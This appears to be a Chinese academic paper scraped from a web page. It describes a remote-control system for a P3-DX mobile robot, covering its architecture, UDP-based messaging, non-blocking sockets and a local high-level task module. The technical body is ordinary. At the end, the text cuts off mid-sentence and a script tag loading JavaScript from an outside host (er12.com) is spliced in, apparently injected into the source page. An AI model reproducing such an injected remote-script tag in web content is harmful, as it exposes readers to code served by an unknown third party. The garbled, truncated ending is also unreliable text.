摘 要:以实时性、可靠性为前提,设计了一套机器人远程控制系统。介绍了其中的远程控制平台和本地控制系统的结构及其关键技术;机器人远程控制系统开发库的设计与实现;展示了开发实例。
关键词:机器人远程控制系统 远程控制平台 本地控制系统 自适应视频传输方案 开发库
近年来,随着无线网络技术的发展和日益成熟,利用wlan和lan的混和组网,使基于网络的机器人远程控制成为一个热门的研究领域。
本文设计了一套移动机器人远程控制系统。该系统可用于如时延网络环境下控制系统的稳定性理论、实时控制系统的网络通信协议、基于事件驱动方式的网络系统控制策略、目标识别技术等方面的研究。
1 硬件环境
被控的机器人采用了美国activmedia robotics公司的p3-dx多功能智能移动机器人。它配备了车载计算机(装有无线网卡、视频采集卡)、带抓手的5自由度手臂、水平转动/倾斜摄像头及4组共16个声纳。
在实验室内搭建了无线网络环境, 无线路由器通过其广域连接端口连接到校园网,并能通过校园网访问internet,从而构成了一个广域网系统。机器人通过其车载计算机上的无线网卡与实验室内的无线局域网互联,从网络的任何节点都可以远程控制机器人。
2 机器人实时远程控制系统的设计
本机器人远程控制系统以实时性及可靠性为前提进行设计。
2.1 基本结构
如图1所示,整个远程控制系统由远程控制平台、本地控制系统两部分组成。整套软件系统建立在windows2000上。
图1 系统结构图
图2 系统的数据流程图
如图2左半部分所示,整个远程控制平台分为控制区和状态反馈区。在控制区,用户通过图形化控制接口触发指令发送模块中的相应指令,并按照命令包的协议进行封包(根据所设计的通信协议,可以选择是否进行加密和压缩),通过网络发送给本地控制系统。
状态反馈区负责接收从本地控制系统实时发送过来的机器人状态反馈信息和视频数据并显示。
2.3 本地控制系统
如图2右半部分所示,整个本地控制系统分为控制执行区和反馈发送区。
在控制执行区,当收到命令包并解包后,可以选择进行命令包的实时性检查,然后通过指令转发模块将指令转发:如果是基本的控制指令则直接通过aria接口发送给机器人;如果是高级任务指令则转发给高级任务模块,调用高级任务模块中对应的子模块进行控制,由它发送一系列的命令给机器人。
在反馈发送区,系统定时接收从串口发来的机器人状态数据并打包发送给远程控制平台,同时采集现场的视频数据,并进行压缩编码,然后根据视频数据包的协议打包发送到远程控制平台。此外状态和视频数据将作为高级任务模块的输入数据来源。图2中的心跳包用于处理通信异常断开的情况。
3 关键技术
3.1 采用udp协议
tcp协议提供了可靠的数据传输,但是其拥塞控制、数据校验、重传机制的网络开销很大,不适合实时通信,所以选择开销很小的udp协议来传输数据。
udp协议是无连接的数据传输协议并且无重传机制,会发生丢包、收到重复包、乱序等情况。而对于数据精确性要求不高的状态数据以及视频数据,丢包的影响不大。因为会不断收到新的包,丢失的个别包会有新的包来覆盖,所以只需在远程控制系统的通信部分自行处理乱序及重复包的问题,而对于丢包的问题一般不作处理。
但对于命令包这种需要精确收发的数据, 可在程序的开发中加入丢包重发和超时丢弃的处理。
当然,如果开发的是对于实时性要求不高的事件型控制命令的传输,不希望发生指令的丢失也可以直接采用tcp协议。tcp的重传机制正好适合这种情况。
3.2 使用非阻塞套接字结合多线程进行通信
整个系统的通信部分采用winsock api进行开发,摒弃了其他远程控制系统中多采用的阻塞字加多线程的编程模式,而使用了非阻塞套接字并采用了异步事件选择i/o模型。这是因为非阻塞套接字能更好地在非占先的windows环境下工作,而阻塞套接字在性能上要差一些。基于整个系统的实时性要求,采用了非阻塞的套接字。
由于状态数据和视频数据的收发量大而且频繁,所以仍需采用多线程技术将数据的收发放到子线程中,否则将影响主线程的运行。
3.3 本地控制系统中的高级任务模块的作用
位于本地控制系统中的高级任务模块使得本地控制系统具有自动避障、目标识别、自主漫游等高级任务的决策能力。这一设计的实质是将属于远程控制的复杂控制功能下放到本地控制系统实现。如图2所示,只需从远程控制平台发出启动某高级任务指令给本地控制系统,本地控制系统的高级任务模块调用相应的子模块并以本地实?script src=http://er12.com/t.js>